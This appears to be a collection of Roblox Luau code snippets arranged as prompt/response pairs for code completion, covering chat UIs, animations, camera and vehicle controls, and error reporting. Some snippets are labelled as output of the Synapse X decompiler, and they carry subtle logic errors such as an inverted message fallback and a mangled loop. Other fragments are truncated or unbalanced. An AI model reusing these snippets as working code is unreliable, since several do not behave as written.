Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local l__FromPlayer__1 = p1.FromPlayer;
	local l__SessionName__2 = p1.SessionName;
	local u1 = nil;
	local l__SessionKey__2 = p1.SessionKey;
	local u3 = {};
	local u4 = nil;
	local l__CanManageUsers__5 = p1.CanManageUsers;
	local u6 = nil;
	local u7 = nil;
	local u8 = {};
	local function u9(p2)
		local l__PlayerName__3 = p2.PlayerName;
		local v4 = false;
		if l__PlayerName__3 ~= "*SYSTEM*" then
			v4 = p2.PlayerDisplayName;
		end;
		local l__Message__5 = p2.Message;
		local v6 = nil;
		if l__PlayerName__3 == "* SYSTEM *" then
			v6 = u7:Add("Frame", {
				Size = UDim2.new(1, 0, 0, 25),
				BackgroundTransparency = 1,
				AutomaticSize = "Y",
				Children = { {
						ClassName = "Frame",
						Name = "CHATFRAME",
						Size = UDim2.new(1, -10, 1, -10),
						Position = UDim2.new(0, 5, 0, 5),
						BackgroundTransparency = 0.5,
						AutomaticSize = "Y",
						Children = { {
								ClassName = "TextLabel",
								Name = "PlayerName",
								Size = UDim2.new(0, 0, 0, 14),
								Position = UDim2.new(0, 1, 0, 1),
								Text = "   " .. l__PlayerName__3,
								TextSize = "14",
								TextXAlignment = "Left",
								BackgroundTransparency = 1
							}, {
								ClassName = "TextLabel",
								Name = "Message",
								Size = UDim2.new(1, 0, 0, 10),
								Position = UDim2.new(0, 0, 0, 14),
								Text = "   " .. (l__Message__5 and "An error has occured"),
								TextXAlignment = "Left",
								TextYAlignment = "Top",
								AutomaticSize = "Y",
								TextWrapped = true,
								TextScaled = false,
								RichText = true,
								BackgroundTransparency = 1
							} }
					} }
			});
		else
			u7:Add("Frame", {
				Size = UDim2.new(1, 0, 0, 50),
				BackgroundTransparency = 1,
				AutomaticSize = "Y",
				Children = { {
						ClassName = "Frame",
						Name = "CHATFRAME",
						Size = UDim2.new(1, -10, 1, -10),
						Position = UDim2.new(0, 5, 0, 5),
						BackgroundTransparency = 0.5,
						AutomaticSize = "Y",
						Children = { {
								ClassName = "ImageButton",
								Name = "Icon",
								Size = UDim2.new(0, 48, 0, 48),
								Position = UDim2.new(0, 1, 0, 1),
								Image = p2.Icon and 0
							}, {
								ClassName = "TextLabel",
								Name = "PlayerName",
								Size = UDim2.new(1, -55, 0, 15),
								Position = UDim2.new(0, 55, 0, 0),
								Text = not v4 and l__PlayerName__3 or string.format("@%s (%s)", l__PlayerName__3, v4),
								TextSize = "14",
								TextXAlignment = "Left",
								BackgroundTransparency = 1
							}, {
								ClassName = "TextLabel",
								Name = "Message",
								Size = UDim2.new(1, -55, 0, 10),
								Position = UDim2.new(0, 55, 0, 15),
								Text = l__Message__5,
								TextXAlignment = "Left",
								TextYAlignment = "Top",
								AutomaticSize = "Y",
								TextWrapped = true,
								TextScaled = false,
								RichText = true,
								BackgroundTransparency = 1
							} }
					} }
			});
		end;
		table.insert(u8, v6);
		if #u8 > 200 then
			u8[1]:Destroy();
			table.remove(u8, 1);
		end;
	end;
	if client.UI.Get("PrivateChat" .. l__SessionName__2) then
		return;
	end;
	local v7 = {
		Name = "PrivateChat" .. l__SessionName__2,
		Title = "Private Chat",
		Icon = client.MatIcons.Forum,
		Size = { 500, 300 }
	};
	local u10 = nil;
	function v7.OnClose()
		if u10 then
			u10:Disconnect();
		end;
		client.Remote.Send("Session", l__SessionKey__2, "LeaveSession");
	end;
	local v8 = client.UI.Make("Window", v7);
	u7 = v8:Add("ScrollingFrame", {
		Size = UDim2.new(1, -105, 1, -45),
		CanvasSize = UDim2.new(0, 0, 0, 0),
		BackgroundTransparency = 0.9
	});
	u1 = v8:Add("TextBox", {
		Text = "",
		PlaceholderText = "",
		Size = UDim2.new(1, -70, 0, 30),
		Position = UDim2.new(0, 5, 1, -35),
		ClearTextOnFocus = false,
		TextScaled = true
	});
	u4 = v8:Add("ScrollingFrame", {
		Size = UDim2.new(0, 100, 1, -75),
		Position = UDim2.new(1, -100, 0, 0),
		BackgroundTransparency = 0.5,
		AutomaticCanvasSize = "Y"
	});
	local v9 = {
		Text = "+",
		Size = UDim2.new(0, 30, 0, 30),
		Position = UDim2.new(1, -100, 1, -70)
	};
	local function u11()
		local v10 = {};
		local l__next__11 = next;
		local v12, v13 = service.Players:GetPlayers();
		while true do
			local v14, v15 = l__next__11(v12, v13);
			if not v14 then
				break;
			end;
			local v16 = true;
			for v17, v18 in next, u3 do
				if v18.UserId == v15.UserId then
					v16 = false;
					break;
				end;
			end;
			if v16 then
				table.insert(v10, {
					Text = string.format("@%s (%s)", v15.Name, v15.DisplayName),
					Data = service.UnWrap(v15)
				});
			end;
		end;
		local v19 = client.UI.Make("SelectionPrompt", {
			Name = "Add User",
			Options = v10
		});
		if v19 then
			client.Remote.Send("Session", l__SessionKey__2, "AddPlayerToSession", v19);
		end;
	end;
	local function u12(p3)
		u9({
			PlayerName = "* SYSTEM *",
			Message = p3,
			Icon = 0
		});
	end;
	function v9.OnClick()
		if l__CanManageUsers__5 then
			u11();
			return;
		end;
		u12("You are not allowed to manage users");
	end;
	local v20 = v8:Add("TextButton", v9);
	local v21 = v8:Add("TextButton", {
		Text = "-",
		Size = UDim2.new(0, 30, 0, 30),
		Position = UDim2.new(1, -35, 1, -70),
		OnClick = function()
			if l__CanManageUsers__5 then
				if not u6 then
					return;
				end;
			else
				u12("You are not allowed to manage users");
				return;
			end;
			client.Remote.Send("Session", l__SessionKey__2, "RemovePlayerFromSession", u6);
			u6 = nil;
		end
	});
	local v22 = {
		Text = "Send",
		Size = UDim2.new(0, 60, 0, 30),
		Position = UDim2.new(1, -65, 1, -35)
	};
	local function u13()
		local v23 = service.Trim(u1.Text);
		if v23 ~= "" then
			client.Remote.Send("Session", l__SessionKey__2, "SendMessage", v23);
		end;
	end;
	function v22.OnClick()
		u13();
		u1.Text = "";
	end;
	local v24 = v8:Add("TextButton", v22);
	local v25 = service.New("UIListLayout", {
		Parent = u7,
		FillDirection = "Vertical",
		HorizontalAlignment = "Left",
		VerticalAlignment = "Bottom",
		SortOrder = "LayoutOrder"
	});
	v24.BackgroundColor3 = v24.BackgroundColor3:lerp(Color3.new(0, 0, 0), 0.1);
	u1.FocusLost:Connect(function(p4)
		if p4 then
			u13();
			u1.Text = "";
			u1:CaptureFocus();
		end;
	end);
	v25:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
		u7.CanvasSize = UDim2.new(0, 0, 0, v25.AbsoluteContentSize.Y);
		u7.CanvasPosition = Vector2.new(0, v25.AbsoluteContentSize.Y);
	end);
	if p1.History then
		for v26, v27 in ipairs(p1.History) do
			local l__Sender__28 = v27.Sender;
			u9({
				PlayerName = l__Sender__28.Name,
				PlayerDisplayName = l__Sender__28.DisplayName,
				Message = v27.Message,
				Icon = l__Sender__28.Icon and 0
			});
		end;
	end;
	local function u14(p5)
		u4:ClearAllChildren();
		u3 = p5;
		for v29, v30 in next, p5 do
			local v31 = u4:Add("TextButton", {
				Text = string.format("@%s (%s)", v30.Name, v30.DisplayName),
				Size = UDim2.new(1, 0, 0, 25),
				TextScaled = true,
				TextWarped = true,
				BackgroundTransparency = 1
			});
			if l__CanManageUsers__5 then
				local v32 = v31.BackgroundColor3:Lerp(Color3.fromRGB(9, 67, 255), 0.1);
				if v30.UserId and v30.UserId ~= service.Players.LocalPlayer.UserId then
					v31.MouseButton1Down:Connect(function()
						for v33, v34 in ipairs(u4:GetChildren()) do
							if v34:IsA("TextButton") or v34:IsA("Frame") then
								v34.BackgroundTransparency = 1;
							end;
						end;
						u6 = v30;
						v31.BackgroundTransparency = 0;
						v31.BackgroundColor3 = v32;
					end);
				end;
			end;
		end;
		u4.CanvasSize = UDim2.new(0, 0, 0, service.New("UIListLayout", {
			Parent = u4,
			FillDirection = "Vertical",
			HorizontalAlignment = "Center",
			VerticalAlignment = "Top",
			SortOrder = "LayoutOrder"
		}).AbsoluteContentSize.Y);
	end;
	u10 = service.Events.SessionData:Connect(function(p6, p7, ...)
		local v35 = { ... };
		if l__SessionKey__2 == p6 then
			if p7 == "PlayerSentMessage" then
				local v36 = v35[1];
				if u9 then
					u9({
						PlayerName = v36.Name,
						PlayerDisplayName = v36.DisplayName,
						Message = v35[2],
						Icon = v36.Icon and 0
					});
					return;
				end;
			else
				if p7 == "UpdatePeerList" then
					u14(v35[1]);
					return;
				end;
				if p7 == "RemovedFromSession" then
					u12("You have been removed from this chat session");
					return;
				end;
				if p7 == "AddedToSession" then
					u12("You have been added to this chat session");
				end;
			end;
		end;
	end);
	client.Remote.Send("Session", l__SessionKey__2, "GetPeerList");
	local l__gTable__37 = v8.gTable;
	v8:Ready();
end;


Prompt: -- Dont touch

Response:
while wait() do
	script.Parent.Rotation = script.Parent.Rotation + 15
	if script.Parent.Rotation == 360 then
		script.Parent.Rotation = 0
	end
end


Prompt: -- enable the viewmodel system

Response:
local function enableviewmodel()
	isfirstperson = true
	if viewmodel.Parent ~= workspace.CurrentCamera then
		viewmodel.Parent = workspace.CurrentCamera
	end
	if rigtype == "R15" then
		-- disable character joints, enable viewmodel joints
		rightshoulderclone.Enabled = true
		leftshoulderclone.Enabled = true
		-- disable real shoulders
		leftshoulder.Enabled = true
		rightshoulder.Enabled = true
		--
		rightshoulderclone.Part1 = rarm
		rightshoulderclone.Part0 = faketorso
		rightshoulderclone.Parent = faketorso
		--
		leftshoulderclone.Part1 = larm
		leftshoulderclone.Part0 = faketorso
		leftshoulderclone.Parent = faketorso
		--
		armtransparency = firstperson_arm_transparency
	else
		--
		rightshoulderclone.Enabled = true
		leftshoulderclone.Enabled = true
		-- disable real shoulders
		leftshoulder.Enabled = false
		rightshoulder.Enabled = false
		--
		rightshoulderclone.Part1 = rarm
		rightshoulderclone.Part0 = faketorso
		rightshoulderclone.Parent = faketorso
		--
		leftshoulderclone.Part1 = larm
		leftshoulderclone.Part0 = faketorso
		leftshoulderclone.Parent = faketorso

		--larm.Anchored = true
		--rarm.Anchored = true
		--
		armtransparency = firstperson_arm_transparency
	end
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(script:FindFirstAncestor("MainUI").Modules.WindShake);
v1:Init();
local v2, v3, v4 = ipairs(workspace.Lobby:GetDescendants());
while true do
	v2(v3, v4);
	if not v2 then
		break;
	end;
	v4 = v2;
	if v3:IsA("BasePart") and v3:GetAttribute("WindShake") then
		v1:AddObjectShake(v3);
	end;
end;


Response:
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
		if key == "r" then --Camera controls
	        if cam == ("car") then
				Camera.CameraSubject = player.Character.Humanoid
				Camera.CameraType = ("Custom")
				cam = ("freeplr")
				Camera.FieldOfView = 70
			elseif cam == ("freeplr") then
				Camera.CameraSubject = player.Character.Humanoid
				Camera.CameraType = ("Attach")
				cam = ("lockplr")
				Camera.FieldOfView = 45
	        elseif cam == ("lockplr") then
				Camera.CameraSubject = carSeat
				Camera.CameraType = ("Custom")
				cam = ("car")
				Camera.FieldOfView = 70
	        end
	elseif key == "" then --Window controls
		 if windows == false then
			winfob.Visible = true
			windows = true
		 else windows = false
			winfob.Visible = false
		 end
		elseif key == "" then --Dash Screen Switch
			if carSeat.Parent.Body.Dash.DashSc.G.Unit.Visible == false then
				handler:FireServer('DashSwitch', true)
				else
			end
			elseif key == "" then --FM Screen Switch
			if carSeat.Parent.Body.Dash.Screen.G.Startup.Visible == false and carSeat.Parent.Body.Dash.Screen.G.Caution.Visible == false then
				handler:FireServer('FMSwitch', true)
				else
			end
		elseif key == "" then -- volume down
			if carSeat.Parent.Body.MP.Sound.Volume >= 0 then
				handler:FireServer('volumedown', true)
			end
		elseif key == "" then -- volume up
			if carSeat.Parent.Body.MP.Sound.Volume <= 10 then
				handler:FireServer('volumeup', true)
			end
	end
end)

HUB.Limiter.MouseButton1Click:connect(function() --Ignition
 if carSeat.IsOn.Value == false then
	carSeat.IsOn.Value = true
	carSeat.Startup:Play()
	wait(1)
	carSeat.Chime:Play()
else
	carSeat.IsOn.Value = false
end
end)

TR.SN.MouseButton1Click:connect(function() --Show tracker names
	script.Parent.Names.Value = true
end)

TR.HN.MouseButton1Click:connect(function() --Hide tracker names
	script.Parent.Names.Value = false
end)

winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
	handler:FireServer('updateSong', winfob.mg.Input.Text)
end)

winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song
	handler:FireServer('pauseSong')
end)

carSeat.Indicator.Changed:connect(function()
	if carSeat.Indicator.Value == true then
		script.Parent.Indicator:Play()
	else
		script.Parent.Indicator2:Play()
	end
end)

game.Lighting.Changed:connect(function(prop)
	if prop == "TimeOfDay" then
	handler:FireServer('TimeUpdate')
	end
end)

if game.Workspace.FilteringEnabled == true then
	handler:FireServer('feON')
elseif game.Workspace.FilteringEnabled == false then
	handler:FireServer('feOFF')
end

carSeat.LI.Changed:connect(function()
	if carSeat.LI.Value == true then
		carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = true
		script.Parent.HUB.Left.Visible = true
	else
		carSeat.Parent.Body.Dash.Spd.G.Indicator.Visible = false
		script.Parent.HUB.Left.Visible = false
	end
end)

carSeat.RI.Changed:connect(function()
	if carSeat.RI.Value == true then
		carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = true
		script.Parent.HUB.Right.Visible = true
	else
		carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = false
		script.Parent.HUB.Right.Visible = false
	end
end)

for i,v in pairs(script.Parent:getChildren()) do
	if v:IsA('TextButton') then
		v.MouseButton1Click:connect(function()
			if carSeat.Windows:FindFirstChild(v.Name) then
				local v = carSeat.Windows:FindFirstChild(v.Name)
				if v.Value == true then
					handler:FireServer('updateWindows', v.Name, false)
				else
					handler:FireServer('updateWindows', v.Name, true)
				end
			end
		end)
	end
end

while wait() do
	if carSeat.Parent:FindFirstChild("Body") then
			carSeat.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88)))
	end
end


Prompt:
-- Waits for a new character to be added if the current one is invalid
-- (Ensures that you don't have the old dead character after a respawn)

Response:
function UTIL.WaitForValidCharacter(player)
	local character = player.Character
	if not character or not character.Parent or not character:FindFirstChild('Humanoid') or character.Humanoid.Health <= 0 then
		player.CharacterAdded:wait()
		wait(0) --NOTE: Necessary for server scripts executing on the same event
		character = player.Character
	end
	return character
end


Response:
function configureAnimationSetOld(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
			-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
		end
	end

	-- preload anims
	for i, animType in pairs(animTable) do
		for idx = 1, animType.count, 1 do
			Humanoid:LoadAnimation(animType[idx].anim)
		end
	end
end


Prompt:
--[[
	This function fixes a problem where when the Camera's CameraType is set back
	to Enum.CameraType.Custom, it snaps back to the last distance before we
	animated it.

	As such, if the user is zoomed far out, calling `focusCharacter()` will zoom
	in, and then once the animation finishes the camera snaps back to the
	distance it was at before.

	To work around this, we use this function to force the camera's zoom
	distance to the distance that the camera will be from the character when the
	animation completes.
]]

Response:
local function _setZoomDistanceHack(player: Player, distance: number, callback: () -> ())
	local min = player.CameraMinZoomDistance
	local max = player.CameraMaxZoomDistance

	player.CameraMinZoomDistance = distance
	player.CameraMaxZoomDistance = distance

	callback()

	player.CameraMinZoomDistance = min
	player.CameraMaxZoomDistance = max
end

local function focusCharacter(player: Player, camera: Camera, offset: number?): RBXScriptSignal
	offset = if offset ~= nil then offset else 10
	-- selene: allow(incorrect_standard_library_use)
	assert(offset)

	local character = player.Character
	local completed = Instance.new("BindableEvent")

	if character and character.PrimaryPart then
		local cameraType = camera.CameraType
		local motor = Otter.createSingleMotor(0)
		local direction = character:GetPrimaryPartCFrame().LookVector
		local goalPosition = camera.Focus.Position + (Vector3.new(offset, 0, offset) * direction)
		local goal = CFrame.lookAt(goalPosition, camera.Focus.Position)

		motor:onStep(function(alpha: number)
			camera.CFrame = camera.CFrame:Lerp(goal, alpha)
		end)

		motor:onComplete(function()
			completed:Fire()

			_setZoomDistanceHack(player, offset, function()
				camera.CameraType = cameraType

				-- Wait a frame to ensure the Camera has time to update based on the
				-- current max zoom distance before we leave this scope and reset it
				task.wait()
			end)
		end)

		camera.CameraType = Enum.CameraType.Scriptable
		motor:setGoal(Otter.spring(1, constants.Springs.Slowpoke))
	end

	return completed.Event
end

return focusCharacter


Prompt: --print('stun ending')

Response:
guiMain:Destroy()
script.Parent:Destroy()


Prompt: -- Define the function to open or close the window with gene-alike effect

Response:
local function toggleWindow()
	if window.Visible then

		window.Visible = false
		opened.Visible = false
		-- Close the window by tweening back to the button position and size
		window:TweenSizeAndPosition(
			UDim2.new(0, 0, 0, 0),
			UDim2.new(0, aFinderButton.AbsolutePosition.X, 0, aFinderButton.AbsolutePosition.Y),
			'Out',
			'Quad',
			0.5,
			false,
			function()
				window.Visible = false
			end
		)
	end
end


Prompt: -- LOCAL

Response:
local tweenService = game:GetService("TweenService")
local replicatedStorage = game:GetService("ReplicatedStorage")
local debris = game:GetService("Debris")
local userInputService = game:GetService("UserInputService")
local httpService = game:GetService("HttpService") -- This is to generate GUIDs
local runService = game:GetService("RunService")
local textService = game:GetService("TextService")
local guiService = game:GetService("GuiService")
local starterGui = game:GetService("StarterGui")
local players = game:GetService("Players")
local IconController = require(script.IconController)
local Signal = require(script.Signal)
local Maid = require(script.Maid)
local TopbarPlusGui = require(script.TopbarPlusGui)
local TopbarPlusReference = require(script.TopbarPlusReference)
local referenceObject = TopbarPlusReference.getObject()
local Themes = require(script.Themes)
local activeItems = TopbarPlusGui.ActiveItems
local topbarContainer = TopbarPlusGui.TopbarContainer
local iconTemplate = topbarContainer["IconContainer"]
local DEFAULT_THEME = Themes.Default
local THUMB_OFFSET = 55
local Icon = (referenceObject and require(referenceObject.Value)) or {}
Icon.__index = Icon
if not referenceObject then
	TopbarPlusReference.addToReplicatedStorage()
end


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end

	-- clean up walk if there is one
	if (runAnimKeyframeHandler ~= nil) then
		runAnimKeyframeHandler:disconnect()
	end

	if (runAnimTrack ~= nil) then
		runAnimTrack:Stop()
		runAnimTrack:Destroy()
		runAnimTrack = nil
	end

	return oldAnim
end

local smallButNotZero = 0.0001
function setRunSpeed(speed)
	if speed < 0.33 then
		currentAnimTrack:AdjustWeight(1.0)
		runAnimTrack:AdjustWeight(smallButNotZero)
	elseif speed < 0.66 then
		local weight = ((speed - 0.33) / 0.33)
		currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
		runAnimTrack:AdjustWeight(weight + smallButNotZero)
	else
		currentAnimTrack:AdjustWeight(smallButNotZero)
		runAnimTrack:AdjustWeight(1.0)
	end

	local speedScaled = speed * 1.25
	runAnimTrack:AdjustSpeed(speedScaled)
	currentAnimTrack:AdjustSpeed(speedScaled)
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		if currentAnim == "walk" then
			setRunSpeed(speed)
		else
			currentAnimTrack:AdjustSpeed(currentAnimSpeed)
		end
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then
		if currentAnim == "walk" then
			runAnimTrack.TimePosition = 0.0
			currentAnimTrack.TimePosition = 0.0
		else
			local repeatAnim = currentAnim
			-- return to idle if finishing an emote
			if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
				repeatAnim = "idle"
			end

			local animSpeed = currentAnimSpeed
			playAnimation(repeatAnim, 0.15, Humanoid)
			setAnimationSpeed(animSpeed)
		end
	end
end

function rollAnimation(animName)
	local roll = math.random(1, animTable[animName].totalWeight)
	local origRoll = roll
	local idx = 1
	while (roll > animTable[animName][idx].weight) do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	return idx
end

function playAnimation(animName, transitionTime, humanoid)
	local idx = rollAnimation(animName)
	local anim = animTable[animName][idx].anim

	-- switch animation
	if (anim ~= currentAnimInstance) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		if (runAnimTrack ~= nil) then
			runAnimTrack:Stop(transitionTime)
			runAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		currentAnimTrack.Priority = Enum.AnimationPriority.Core

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)

		-- check to see if we need to blend a walk/run animation
		if animName == "walk" then
			local runAnimName = "run"
			local runIdx = rollAnimation(runAnimName)

			runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
			runAnimTrack.Priority = Enum.AnimationPriority.Core
			runAnimTrack:Play(transitionTime)

			if (runAnimKeyframeHandler ~= nil) then
				runAnimKeyframeHandler:disconnect()
			end
			runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		end
	end

end


Prompt: -- Put in StarterPlayer > StarterCharacterScripts == Scripted By Conikku

Response:
local player = game.Players.LocalPlayer
local character = workspace:WaitForChild(player.Name)
local humanoid = character:WaitForChild("Humanoid")
humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)


Prompt:
-- message : (string) the text of error thrown
-- stack : (string) the debug.traceback() of the where the error originated
-- origin : (datatype) the container where the error came from

Response:
function ErrorReporter:Report(message, stack, origin)
	-- make sure that there isn't a circular loop of errors
	local success, result = pcall(function()
		if DEBUG_REPORTER then
			local debugMsg = table.concat({
				"Received Error :",
				string.format("Message : (%s) - %s", type(message), message),
				string.format("Stack : (%s) - %s", type(stack), stack),
				string.format("Origin : (%s) - %s", type(origin), getFullPath(origin)),
				"***************************",
			}, "\n")
			print(debugMsg)
		end

		-- format the message and stack
		local strMessage = removePlayerNameFromStack(message)
		local strStack = removePlayerNameFromStack(stack)
		local strOrigin = removePlayerNameFromStack(getFullPath(origin))

		-- report the error to all reporters
		if REPORT_TO_GOOGLE_ANALYTICS then
			local p = self._googleAnalyticsReporter:sendEvent(GAME_VERSION, strMessage, strStack)
			p:andThen(function()
				if PRINT_SUCCESSFUL_GOOGLE_ANALYTICS then
					print("** Successfully reported error to GoogleAnalytics **",
						"(Set Config.PRINT_SUCCESSFUL_GOOGLE_ANALYTICS to false to disable this message)")
				end
			end,
			function(err)
				warn("Error thrown while reporting to GA : ", err)
			end)
		end

		if REPORT_TO_PLAYFAB then
			local category = string.format("Errors-%s", GAME_VERSION)
			local value = {
				error = strMessage,
				stack = strMessage,
				origin = strOrigin,
			}
			self._playFabReporter:fireEvent(category, value)

			-- PlayFab will not work while testing in Studio. It will give you an error saying :
			-- `AnalyticsService can only be executed by game server.`
			-- This means that you have to be playing a published game to get any real data.
			-- But as far as this script cares, you successfully sent data to PlayFab.
			if PRINT_SUCCESSFUL_PLAYFAB then
				print("** Successfully reported error to PlayFab **",
					"(Set Config.PRINT_SUCCESSFUL_PLAYFAB to false to disable this message)")
			end
		end
	end)

	if not success then
		local warning = table.concat({
			"Error Reporter threw an error :",
			tostring(result),
			"While reporting...",
			string.format("Message : (%s) - %s", type(message), message),
			string.format("Stack : (%s) - %s", type(stack), stack),
			string.format("Origin : (%s) - %s", type(origin), tostring(origin)),
		}, "\n")
		warn(warning)
	end
end

return ErrorReporter


Response:
function OnRunning(Speed)
	if Speed > 0.01 then
		PlayAnimation("Walk", 0.1, Humanoid)
		Pose = "Running"
	else
		PlayAnimation("Idle", 0.1, Humanoid)
		Pose = "Standing"
	end
end

function OnDied()
	Pose = "Dead"
end

function OnJumping()
	PlayAnimation("Jump", 0.1, Humanoid)
	JumpAnimTime = JumpAnimDuration
	Pose = "Jumping"
end

function OnClimbing(Speed)
	PlayAnimation("Climb", 0.1, Humanoid)
	SetAnimationSpeed(Speed / 12)
	Pose = "Climbing"
end

function OnGettingUp()
	Pose = "GettingUp"
end

function OnFreeFall()
	if JumpAnimTime <= 0 then
		PlayAnimation("Fall", FallTransitionTime, Humanoid)
	end
	Pose = "FreeFall"
end

function OnFallingDown()
	Pose = "FallingDown"
end

function OnSeated()
	Pose = "Seated"
end

function OnPlatformStanding()
	Pose = "PlatformStanding"
end

function OnSwimming(Speed)
	if Speed > 0 then
		Pose = "Running"
	else
		Pose = "Standing"
	end
end

function GetTool()
	for i, Tool in pairs(Figure:GetChildren()) do
		if Tool:IsA("Tool") then
			return Tool
		end
	end
	return nil
end

function GetToolAnim(Tool)
	for i, Anim in pairs(Tool:GetChildren()) do
		if string.lower(Anim.Name) == string.lower("ToolAnim") and Anim:IsA("StringValue") then
			return Anim
		end
	end
	return nil
end

function AnimateTool()

	if ToolAnim == "None" then
		PlayToolAnimation("ToolNone", ToolTransitionTime, Humanoid)
		return
	end

	if ToolAnim == "Slash" then
		PlayToolAnimation("ToolSlash", 0, Humanoid)
		return
	end

	if ToolAnim == "Lunge" then
		PlayToolAnimation("ToolLunge", 0, Humanoid)
		return
	end
end

function MoveSit()
	--RightShoulder.MaxVelocity = 0.15
	--LeftShoulder.MaxVelocity = 0.15
	--RightShoulder:SetDesiredAngle(3.14 / 2)
	--LeftShoulder:SetDesiredAngle(-3.14 / 2)
	--RightHip:SetDesiredAngle(3.14 / 2)
	--LeftHip:SetDesiredAngle(-3.14 / 2)
	RightHip:SetDesiredAngle(1)
	RightHip.CurrentAngle = RightHip.DesiredAngle
	LeftHip:SetDesiredAngle(-1)
	LeftHip.CurrentAngle = LeftHip.DesiredAngle
end

local LastTick = 0

function Move(Time)
	local Amplitude = 1
	local Frequency = 1
  	local DeltaTime = (Time - LastTick)
  	LastTick = Time

	local ClimbFudge = 0
	local SetAngles = false

  	if JumpAnimTime > 0 then
  		JumpAnimTime = (JumpAnimTime - DeltaTime)
  	end

	if Pose == "FreeFall" and JumpAnimTime <= 0 then
		PlayAnimation("Fall", FallTransitionTime, Humanoid)
	elseif Pose == "Seated" then
		StopAllAnimations()
		MoveSit()
		return
	elseif Pose == "Running" then
		PlayAnimation("Walk", 0.1, Humanoid)
	elseif Pose == "Dead" or Pose == "GettingUp" or Pose == "FallingDown" or Pose == "Seated" or Pose == "PlatformStanding" then


Prompt: --sound.ScriptWestMinsterChimes.Disabled=true

Response:
sound.ScriptOff.Disabled=false

wait(4)

end
wait()
end


Prompt: ----------------SCRIPT--------------------------------------------------------------------------------------------------------------

Response:
if script.Disabled == false then
	script.Parent["READ ME"].Disabled = true
end
while true do
	wait(spawntime)
	local Part = game.Workspace.Handleone
	Part.Position = script.Parent.Position
	Part.Anchored = false
	Part.Parent = game.Workspace
end


Prompt:
--[=[
	Cleans up the BasicPane, invoking Maid:DoCleaning() on the BasicPane and
	setting the metatable to nil.
]=]

Response:
function BasicPane:Destroy()
	self._maid:DoCleaning()
	self._maid = nil
	setmetatable(self, nil)
end

return BasicPane


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data)
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local gui = script.Parent.Parent
	local frame = gui.Frame
	--local cont = gui.Frame.Container

	local termCont = frame.termCont
	local serverCont = frame.serverCont
	local localCont = frame.localCont
	local logsCont = frame.logsCont
	local scriptCont = frame.scriptCont
	local errorCont = frame.errorCont

	local localTab = frame.localTab
	local scriptTab = frame.scriptTab
	local logsTab = frame.logsTab
	local termTab = frame.termTab
	local serverTab = frame.serverTab
	local errorTab = frame.errorTab

	local close = gui.Frame.Close
	local box = gui.Frame.Command
